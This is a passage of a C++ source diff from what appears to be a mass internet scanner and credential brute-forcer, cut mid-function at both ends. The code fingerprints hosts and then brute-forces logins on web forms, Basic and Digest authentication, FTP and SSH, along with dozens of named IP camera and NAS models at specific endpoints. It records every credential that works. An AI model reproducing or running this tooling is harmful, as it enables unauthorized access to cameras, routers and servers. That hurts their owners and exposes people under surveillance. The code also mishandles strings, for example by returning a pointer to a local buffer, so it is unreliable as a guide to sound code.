tempRes); + } + else + { + strncpy(result, keyResult2 + 1, sz); + }; + } + else + { + strncpy(result, keyResult2 + 1, sz); + }; + } + else + { + strcpy(result, startPath); + strcat(result, keyResult2 + 1); + }; + } + }; + + } + else + { + stt->doEmitionFoundData("[WF]: GetParam - Cannot retrieve field."); + }; + }; +}; + +static const std::string arrUser[] = {"user", "usr", "username", "login", "lgn", "account", "acc", "param1", "param3", "id", "A1", "uname", "mail", "name"}; +vector vecUser (arrUser, arrUser + sizeof(arrUser) / sizeof(arrUser[0]) ); +static const std::string arrPass[] = {"pass", "pw", "password", "code", "param2", "param4", "secret", "login_p", "A2", "admin_pw", "pws"}; +vector vecPass (arrPass, arrPass + sizeof(arrPass) / sizeof(arrPass[0]) ); + +char *_getAttribute(char *str, char *attrib) +{ + if(strstri(str, attrib) != NULL) + { + char res[1024] = {0}; + char *ptrStart = strstri(str, attrib); + char *ptrEnd = _findFirstOcc(ptrStart, "\r\n"); + if(ptrEnd != NULL) + { + int szAt = strlen(attrib); + int sz = ptrEnd - ptrStart - szAt; + + if(sz != 0 && sz < 1024) strncpy(res, ptrStart + szAt, sz); + else return ""; + + return res; + } + else return ""; + } + else return ""; +}; +void _getInputVal(std::vector inputVec, char *buff, char *key) +{ + char *pos = NULL; + char field[128] = {0}; + if(strcmp(key, "USER") == 0) + { + for(int i = 0; i < inputVec.size(); ++i) + { + ZeroMemory(field, 128); + _getFormVal((char*)inputVec[i].data(), field, "name="); + for(int j = 0; j < vecUser.size(); ++j) + { + pos = strstri(field, vecUser[j].data()); + if(pos != NULL) + { + strncpy(buff, field, 128); + return; + }; + }; + }; + } + else + { + for(int i = 0; i < inputVec.size(); ++i) + { + ZeroMemory(field, 128); + _getFormVal((char*)inputVec[i].data(), field, "name="); + for(int j = 0; j < vecPass.size(); ++j) + { + pos = strstri(field, vecPass[j].data()); + if(pos != NULL) + { + strncpy(buff, field, 128); + return; + }; + }; + }; + }; +}; +void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *title) +{ + char cookie[1024] = {0}; + + if(strstr(buff, "VER_CODE") != NULL || strstri(buff, "captcha") != NULL) + { + if(gNegDebugMode) + { + stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Ignoring: Captcha detected."); + }; + return; + }; + OnLiner = 1; + + char b[16] = {0}; + char methodVal[128] = {0}; + char actionVal[512] = {0}; + char userVal[128] = {0}; + char passVal[128] = {0}; + char frmBlock[4096] = {0}; + char *fBlock = strstri(buff, " inputVec; + if(fBlock != NULL) + { + char *fBlock2 = strstri(fBlock, ">"); + int szfb2 = fBlock2 - fBlock; + strncpy(formVal, fBlock, (szfb2 < 128 ? szfb2 : 128)); + char *frmBlockEnd = strstri(fBlock, ""); + if(frmBlockEnd != NULL) + { + fbsz = frmBlockEnd - fBlock; + strncpy(frmBlock, fBlock, (fbsz < 4096 ? fbsz : 4096)); + } + else + { + strncpy(frmBlock, fBlock, 4096); + }; + + _getFormVal(frmBlock, methodVal, "method"); + _getFormVal(frmBlock, actionVal, "action", path); + if(actionVal[0] == '.') + { + char tmpBuff[512] = {0}; + char *tempPtr1 = FindLastOcc(path, "/"); + int sz = tempPtr1 - path; + if(sz > 0) + { + strncpy(tmpBuff, path, sz); + strncat(tmpBuff, actionVal + 1, strlen(actionVal) - 1); + ZeroMemory(actionVal, sizeof(actionVal)); + strcpy(actionVal, tmpBuff); + }; + }; + + char *inptPtr1 = strstri(frmBlock, ""); + if(inptPtrEnd != NULL) + { + insz = inptPtrEnd - inptPtr1 + 1; + strncpy(tempInptStr, inptPtr1, (insz < 128 ? insz : 128)); + inputVec.push_back(std::string(tempInptStr)); + inptPtr1 = strstri(inptPtrEnd, "doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: No text/password fields found."); + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "NULL", "NULL", comment, cp, tclass); + putInFile(flag, ip, tport, recd, title, hl, cp); + }; + } + else + { + stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Cannot find form block."); + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "NULL", "NULL", comment, cp, tclass); + putInFile(flag, ip, tport, recd, title, hl, cp); + }; + + if(strlen(methodVal) == 0) + { + strcpy(methodVal, "GET"); + }; + if(strlen(actionVal) == 0) + { + strcpy(actionVal, "/"); + } + else + { + if(strstri(actionVal, "http") != NULL) + { + char tmp[128] = {0}; + strncpy(tmp, actionVal, 128); + if(strstr(tmp, "//") != NULL) + { + char *tmp1 = strstr(tmp, "//"); + char *tmp2 = strstr(tmp1 + 2, "/"); + ZeroMemory(actionVal, 128); + if(tmp2 != NULL) + { + strncpy(actionVal, tmp2, strlen(tmp2)); + } + else + { + strcpy(actionVal, "/"); + }; + } + else if(strstr(tmp, "%2f%2f") != NULL) + { + char *tmp1 = strstr(tmp, "%2f%2f"); + char *tmp2 = strstr(tmp1 + 6, "%2f"); + ZeroMemory(actionVal, 128); + if(tmp2 != NULL) + { + strcpy(actionVal, "/"); + strncpy(actionVal, tmp2 + 3, strlen(tmp2) - 3); + } + else + { + strcpy(actionVal, "/"); + }; + }; + }; + if(actionVal[0] != '/') + { + char temp[128] = {0}; + strncpy(temp, actionVal, 128); + strcpy(actionVal, "/"); + strncat(actionVal, temp, strlen(temp)); + }; + }; + + if(inputVec.size() > 0) + { + if(strlen(userVal) != 0 && strlen(passVal) != 0) + { + Connector con; + lopaStr lps = con._WFLobby(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal); + + if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) + { + _specFillerWF(hl, ip, tport, title, lps.login, lps.pass, flag); + + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, lps.login, lps.pass, comment, cp, tclass); + putInFile(flag, ip, tport, recd, title, hl, cp); + }; + } + else + { + stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Cannot find user/pass field."); + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "", "", "UnknownWebform", cp, tclass); + putInFile(flag, ip, tport, recd, title, hl, cp); + }; + }; + OnLiner = 0; +}; +void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *tclass, char *cp, int recd, char *SPEC) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + char tport[32] = {0}; + char b[16] = {0}; + strcpy(tport, ":"); + strcat(tport, itoa(port, b, 10)); + Connector con; + lps = con._IPCameraBLobby(ip, port, SPEC); + + if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) + { + _specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag); + + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization"); + }; +}; +void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *data) +{ + OnLiner = 1; + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + char temp[64] = {0}; + char tport[32] = {0}; + char b[16] = {0}; + strcpy(tport, ":"); + strcat(tport, itoa(port, b, 10)); + Connector con; + + if(strcmp(comment, "[DIGEST]") == 0) lps = con._BALobby(cookie, ip, port, path, "[DIGEST]", data); + else lps = con._BALobby(cookie, ip, port, path, "[NORMAL]", ""); + + if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) + { + _specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag); + + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization"); + }; + + ZeroMemory(temp, strlen(temp)); +}; +const char *GetTitle(char* str) +{ + char delimiterT[] = ""; + char delimiterT2[] = "<title id=\"title\">"; + char *firstStr, *secondStr, finalstr[512] = {0}; + + if (strstri(str, "realm") != NULL) + { + if (strstr(str, "\"") != NULL) + { + int hm; + firstStr = strstr(str, "\""); + if(strstr((firstStr+1), "\"") != NULL) + { + secondStr = strstr((firstStr+1), "\""); + hm = (int)(secondStr-firstStr); + } + else hm = 10; + if(hm > 127) hm = 20; + strncat(finalstr, firstStr, hm+1); + }; + }; + + if(strlen(finalstr) != 0) strcat(finalstr, "::"); + + if(strstri(str, "<card") != NULL) + { + char *str1 = strstri(str, "<card"); + if(strstri(str1, "title=") != NULL) + { + char *str2 = strstri(str1, "title="); + if(strstri(str2, ">") != NULL) + { + char *str3 = strstri(str2, ">"); + + int y = str3 - str2; + if(y > 256) + { + strcpy(finalstr, "[Strange title]"); + } + else + { + strncat(finalstr, (char*)(str2 + strlen("title=")), y); + strcat(finalstr, " += "); + }; + }; + }; + }; + + if(strstri(str, "<title>") != NULL) + { + if(strstri(str, "<title>") != NULL) firstStr = strstri(str, "<title>"); + if(strstri(firstStr, "") != NULL) secondStr = strstri(firstStr, ""); + else + { + strcat(finalstr, "[Corrupted title]"); + return finalstr; + }; + int hm = (int)(secondStr - firstStr); + if(hm > 256) hm = 20; + strncat(finalstr, firstStr + 7, hm - 7); + + if(strstri(finalstr, "index of /") != NULL) + { + int hm = 0; + strcat(finalstr, " ("); + if(strstri(firstStr, "description") != NULL) firstStr = strstri(firstStr, "description"); + if(strstri(firstStr, "") != NULL && strlen(finalstr) < 480) + { + if(iterCount++ > 4 || strlen(finalstr) > 300) break; + if(strstr(firstStr, "\">") != NULL) firstStr = strstr(firstStr, "\">"); + else break; + secondStr = strstri(firstStr, ""); + + hm = (int)(secondStr-firstStr); + if(hm > 16) hm = 16; + + strncat(finalstr, firstStr + 2, hm - 2); + strcat(finalstr, " "); + if(strstri(firstStr, "") != NULL) secondStr = strstri(firstStr, ""); + else + { + strcpy(finalstr, "[Corrupted title]"); + return finalstr; + }; + int hm = (int)(secondStr-firstStr); + if(hm > 127) hm = 30; + strncat(finalstr, firstStr+18, hm-18); + } + else if(strstri(str, delimiterT) != NULL) + { + firstStr = strstri(str, delimiterT); + if(strstri(firstStr, "") != NULL) secondStr = strstri(firstStr, ""); + int hm = (int)(secondStr-firstStr); + if(hm > 127) hm = 30; + strncat(finalstr, firstStr+20, hm-20); + }; + + return finalstr; +}; +int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *hl) +{ + char b[16] = {0}; + + if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1; + if(strstri(buffcpy, "404 file not found") != NULL) + { + if(gNegDebugMode) + { + stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(p) + "" + "] Negative hit: \"" + QString::fromLocal8Bit("404 Not Found").toHtmlEscaped() + "\""); + }; + ++Filt; + return -1; + }; + if(p == 22) + { + flag = -22; + char log[2048] = {0}; + char logEmit[2048] = {0}; + char goodStr[256] = {0}; + char banner[256] = {0}; + + char *ptr1 = strstr(buffcpy, "|+|"); + int gsz = ptr1 - buffcpy; + strncpy(goodStr, buffcpy, gsz); + if(strlen(ptr1 + 3) > 0) strcpy(banner, ptr1 + 3); + strcpy(logEmit, "[SSH] "); + strcpy(log, "[SSH] "); + strcat(log, goodStr); + strcat(log, ""); + strcat(log, "; Banner: "); + strcat(log, banner); + strcat(log, ""); + + ++PieSSH; + + strcat(logEmit, ""); + strcat(logEmit, goodStr); + strcat(logEmit, ""); + + fputsf (ip, itoa(p, b, 10), log, flag, "SSH"); + + char loginSSH[128] = {0}; + char passSSH[128] = {0}; + char *ptrl1 = strstr(buffcpy, ":"); + int lpsz = ptrl1 - buffcpy; + strncpy(loginSSH, buffcpy, lpsz); + char *ptrl2 = strstr(buffcpy, "@"); + lpsz = ptrl2 - ptrl1; + strncpy(passSSH, ptrl1 + 1, lpsz); + fillGlobalLogData(ip, hl, itoa(p, b, 10), std::to_string((long double)recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH"); + +#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); +#pragma endregion + return -1; + }; + + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + PathStr ps; + ps.port = p; + strcpy(ps.ip, ip); + ZeroMemory(ps.headr, sizeof(ps.headr)); + ZeroMemory(ps.path, sizeof(ps.path)); + + char finalstr[TITLE_MAX_LENGTH] = {0}; + char port[32] = {0}; + int flag = 0; + char cp[32] = {0}; + + strcpy(cp, GetCodePage(buffcpy)); + flag = ContentFilter(buffcpy, p, ip, cp); + if(flag == -1 ) return -1; + + strcpy(ps.headr, GetTitle(buffcpy)); + ps.flag = flag; + + char pps[256] = {0}; + strcpy(pps, "/"); + + std::vector redirStrLst; + char rBuff[65536] = {0}; + strncpy(rBuff, buffcpy, 65535); + char cookie[1024] = {0}; + if(flag == 0 || flag == 3 || flag == 7 ) + { + int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst, rBuff); + strcpy(cp, ps.codepage); + if(rh <= -2) + { + flag = ps.flag; + strcat(finalstr, ps.headr); + p = ps.port; + strcpy(ip, ps.ip); + strcpy(cookie, ps.cookie); + }; + + int sz = strlen(ps.path); + strncpy(pps, ps.path, (sz < 256 ? sz : 256)); + }; + + strcpy(port, itoa(p, b, 10)); + + if(strstr(finalstr, ps.headr) == NULL) strcat(finalstr, ps.headr); + if(strstr(finalstr, "Error - Bad Address") != NULL) flag = 5; + else if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1; + + fillerFlag = 1; +#pragma region Fillers + + if(flag == 16) + { + Connector con; + OnLiner = 1; + + char log[2048] = {0}; + char logEmit[2048] = {0}; + + strcpy(logEmit, "[FTP]:"); + strcpy(log, "[FTP]:"); + strcat(log, ip); + strcat(log, ":"); + strcat(log, port); + strcat(log, ""); + strcat(log, "; Received: "); + strncat(log, std::to_string((long double)recd).c_str(), 100); + + lps = con._FTPLobby(ip, p, &ps); + + if(strstr(lps.other, "ROUTER") != NULL) + { + ++PieBA; + strcat(log, "ftp://"); + strcat(log, lps.login); + strcat(log, ":"); + strcat(log, lps.pass); + strcat(log, "@"); + strcat(log, ip); + strcat(log, " [ROUTER]"); + strcat(log, ps.headr); + + strcat(logEmit, "ftp://"); + strcat(logEmit, lps.login); + strcat(logEmit, ":"); + strcat(logEmit, lps.pass); + strcat(logEmit, "@"); + strcat(logEmit, ip); + strcat(logEmit, " [ROUTER]"); + + fputsf (ip, port, log, flag, "FTP"); + + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP"); + + + #pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); +#pragma endregion + } + else if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) + { + ++PieBA; + strcat(log, "ftp://"); + strcat(log, lps.login); + strcat(log, ":"); + strcat(log, lps.pass); + strcat(log, "@"); + strcat(log, ip); + strcat(log, ""); + strcat(log, ps.headr); + + strcat(logEmit, "ftp://"); + strcat(logEmit, lps.login); + strcat(logEmit, ":"); + strcat(logEmit, lps.pass); + strcat(logEmit, "@"); + strcat(logEmit, ip); + strcat(logEmit, ""); + + fputsf(ip, port, log, flag, "FTP"); + + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP"); + + +#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); +#pragma endregion + } + else if(strstr(lps.login, "Unknown protocol") != NULL) + { + strcat(log, "; [!] USER/PASS commands failed. Dunno what to do."); + fputsf(ip, port, log, flag, ""); + +#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); +#pragma endregion + }; + } + else if(flag == 21) //Eyeon + { + _specBrute(ps.cookie, ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Eyeon Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 22) //IP Camera control + { + _specBrute(ps.cookie, ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "IP Camera Control", "Basic Authorization", cp, recd, ""); + } + else if(flag == 23) //Network Camera BB-SC384 + { + _specBrute(ps.cookie, ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Network Camera BB-SC384", "Basic Authorization", cp, recd, ""); + } + else if(flag == 24) //Network Camera VB-M40 + { + _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Network Camera VB-M40", "Basic Authorization", cp, recd, ""); + } + else if(flag == 25) //Panasonic WTFISTHISAreaOMGIDONTEVEN-camera + { + _specBrute(ps.cookie, ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 26) //Sony Network Camera + { + _specBrute(ps.cookie, ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Sony Network Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 27) //UA Network Camera + { + _specBrute(ps.cookie, ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "UA Network Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 28) //Network Camera VB-M40 + { + _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Network Camera VB-??", "Basic Authorization", cp, recd, ""); + } + else if(flag == 29) //LG Smart IP Device + { + _specBrute(ps.cookie, ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "LG Smart IP Device Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 30) //NAS + { + _specBrute(ps.cookie, ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "NAS", "Basic Authorization", cp, recd, ""); + } + else if(flag == 31) //ip cam + { + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/check_user.cgi", "IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 32) //IPC WEB ip cam + { + _specWEBIPCAMBrute(ip, p, hl, "[IPC] WEB IP Camera", flag, "[IPC] WEB IP Camera", "WEB Authorization", cp, recd, "IPC"); + } + else if(flag == 33) //GEOvision ip cam + { + _specWEBIPCAMBrute(ip, p, hl, "[GEO] WEB IP Camera", flag, "[GEO] WEB IP Camera", "WEB Authorization", cp, recd, "GEO"); + } + else if(flag == 34) //Hikvision ip cam + { + _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "[Hikvision] IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 35) //EasyCam + { + _specWEBIPCAMBrute(ip, p, hl, "[EasyCam] WEB IP Camera", flag, "[EasyCam] WEB IP Camera", "WEB Authorization", cp, recd, "EasyCam"); + } + else if(flag == 36) //Panasonic Cam + { + _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "[Panasonic] IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 37) //Panasonic Cam + { + _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "[Panasonic] IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 38) //Foscam + { + _specWEBIPCAMBrute(ip, p, hl, "[Foscam] IP Camera", flag, "[Foscam] IP Camera", "Basic Authorization", cp, recd, "Foscam"); + } + else if(flag == 39) //EagleEye + { + _specBrute(ps.cookie, ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "[EagleEye] IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 40) //Network Camera VB-C?? + { + _specBrute(ps.cookie, ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "[Network Camera VB-C??] IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 41) //AVIOSYS-camera + { + _specWEBIPCAMBrute(ip, p, hl, "[AVIOSYS] IP Camera", flag, "[AVIOSYS] IP Camera", "Basic Authorization", cp, recd, "AVIOSYS"); + } + else if(flag == 20) //AXIS Camera + { + _specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "AXIS Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 19) //reecam cameras + { + _specBrute(ps.cookie, ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "ReeCam camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 18) //linksys camera + { + _specBrute(ps.cookie, ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Linksys camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 17) //Real-time IP Camera Monitoring System + { + _specBrute(ps.cookie, ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Real-time IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 11) + { + _specBrute(ps.cookie, ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Netwave IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 12) + { + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 13) + { + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 14) + { + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/rdr.cgi", "IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 15) //For HFS + { + char temp[64] = {0}; + char log[512] = {0}; + Connector con; + OnLiner = 1; + ++AnomC1; + + strcpy(log, "[HFS]:"); + strcat(log, hl); + strcat(log, " :: "); + strcat(log, ip); + strcat(log, ":"); + strcat(log, port); + strcat(log, " T: "); + strcat(log, finalstr); + strcat(log, " Pass: "); + lps = con._BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]", ""); + strcat(log, lps.login); + strcat(log, ":"); + strcat(log, lps.pass); + strcat(log, ""); + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization"); + fputsf (ip, port, log , flag, "HFS"); + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); + ZeroMemory(temp, strlen(temp)); + } + else if(flag == 1) + { + _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[NORMAL]", "Basic Authorization", cp, recd, ""); + } + else if(flag == 101) + { + _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[DIGEST]", "Basic Authorization", cp, recd, buffcpy); + } + else if(flag == 10) + { + _specWFBrute(ip, p, hl, rBuff, flag, pps, "Web Form", "Web Form", cp, recd, finalstr); + } + else + { + putInFile(flag, ip, port, recd, finalstr, hl, cp); + }; +#pragma endregion + fillerFlag = 0; + + return flag; +}; + +const char *rbuff1 = "GET "; +const char *rbuff2 = " HTTP/1.1\r\nHost: "; +const char *rbuff3 = "\r\nCookie:"; +const char *rbuff4 = "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\n\r\n"; + +int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector *redirStrLst, char *buff) +{ + if(ls->iterationCount++ == 5) + { + ls->iterationCount = 0; + + strcpy(ps->headr, "[!][Loop detected.]"); + strcpy(ps->path, ""); + + return 0; + }; + + Connector con; + char tempIP[MAX_ADDR_LEN] = {0}; + strcpy(tempIP, ip); + int tempPort = 80; + char tempPath[1024] = {0}; + char mes[2048]= {0}; + + if(strstri(str, "https://") != NULL) + { + tempPort = 443; + + char *ptr1 = strstri(str, "https://"); + char *ptr2 = _findFirstOcc(str + 8, ":/"); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1 - 8; + strncpy(tempIP, ptr1 + 8, sz < 128 ? sz : 128); + if(ptr2[0] == ':') + { + char *ptrPath = strstr(ptr2, "/"); + if(ptrPath != NULL) + { + sz = ptrPath - ptr2 - 1; + + char *pPth = strstr(ptr1 + 8, "/"); + strcpy(tempPath, pPth); + } + else + { + strcpy(tempPath, "/"); + sz = ptr2 - ptr1 - 9; + }; + char tPort[8] = {0}; + strncpy(tPort, ptr2 + 1, sz < 8 ? sz : 5); + tempPort = atoi(tPort); + } + else if(ptr2[0] == '/') + { + strncpy(tempPath, ptr2, strlen(ptr2)); + } + else + { + stt->doEmitionRedFoundData("[Redirect] Unknown protocol (" + QString(ip) + ":" + QString::number(port) + ")"); + }; + } + else + { + strncpy(tempIP, ptr1 + 8, strlen(str) - 8); + strcpy(tempPath, "/"); + }; + + strcpy(mes, rbuff1); + if(tempPath[0] != '/') strcat(mes, "/"); + strcat(mes, tempPath); + strcat(mes, rbuff2); + strcat(mes, tempIP); + if(strlen(cookie) != 0) + { + strcat(mes, rbuff3); + strcat(mes, cookie); + }; + strcat(mes, rbuff4); + + conSTR cstr; + cstr.size = 0; + cstr.lowerBuff = NULL; + if(con._EstablishSSLConnection(tempIP, tempPort, mes, &cstr) != -1) + { + strncpy(buff, cstr.lowerBuff, (cstr.size < 65535 ? cstr.size : 65535)); + strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); + + ls->flag = ContentFilter(cstr.lowerBuff, tempPort, tempIP, ps->codepage); + ps->flag = ls->flag; + + if(ls->flag == -1) + { + ps->flag = -1; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + + return 0; + }; + if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 + || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) + { + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ps->flag = ls->flag; + strcpy(ps->path, tempPath); + ps->port = tempPort; + strcpy(ps->ip, tempIP); + + delete []cstr.lowerBuff; + + return ls->flag; + }; + if(ls->flag == 6) + { + ps->flag = ls->flag; + ps->port = tempPort; + return ls->flag; + }; + strcat(ps->headr, " -> "); + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff); + ps->port = tempPort; + if(strlen(cstr.lowerBuff) < 1) + { + ps->flag = 3; + ls->flag = 3; + } + else if(strstr(cstr.lowerBuff, "[OVERFLOW]") != NULL) + { + ls->flag = 0; + ps->flag = 0; + }; + + delete []cstr.lowerBuff; + } + else + { + ps->flag = -1; + ls->flag = -1; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::redirect [Dead host]."); + }; + + return 0; + } + else if(strstr(str, "http://") != NULL) //http + { + char *ptr1 = strstri(str, "http://"); + char *ptr2 = _findFirstOcc(str + 7, ":/"); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1 - 7; + strncpy(tempIP, ptr1 + 7, sz < 128 ? sz : 128); + if(ptr2[0] == ':') + { + char *ptrPath = strstr(ptr2, "/"); + if(ptrPath != NULL) + { + sz = ptrPath - ptr2 - 1; + + char *pPth = strstr(ptr1 + 7, "/"); + strcpy(tempPath, pPth); + } + else + { + strcpy(tempPath, "/"); + sz = ptr2 - ptr1 - 7; + }; + char tPort[8] = {0}; + strncpy(tPort, ptr2 + 1, sz < 8 ? sz : 5); + tempPort = atoi(tPort); + } + else if(ptr2[0] == '/') + { + strncpy(tempPath, ptr2, strlen(ptr2)); + } + else + { + stt->doEmitionRedFoundData("[Redirect] Unknown protocol (" + QString(ip) + ":" + QString::number(port) + ")"); + }; + } + else + { + strncpy(tempIP, ptr1 + 7, strlen(str) - 7); + strcpy(tempPath, "/"); + }; + + if(tempPort == 0) tempPort = port; + strcpy(mes, rbuff1); + if(tempPath[0] != '/') strcat(mes, "/"); + strcat(mes, tempPath); + strcat(mes, rbuff2); + strcat(mes, tempIP); + if(strlen(cookie) != 0) + { + strcat(mes, rbuff3); + strcat(mes, cookie); + }; + strcat(mes, rbuff4); + + conSTR cstr; + cstr.size = 0; + cstr.lowerBuff = NULL; + if(con._EstablishConnection(tempIP, tempPort, mes, &cstr) != -1) + { + strncpy(buff, cstr.lowerBuff, (cstr.size < 65535 ? cstr.size : 65535)); + strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); + + ls->flag = ContentFilter(cstr.lowerBuff, tempPort, tempIP, ps->codepage); + ps->flag = ls->flag; + + if(ls->flag == -1) + { + ps->flag = -1; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + + return -1; + }; + if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 + || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) + { + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ps->flag 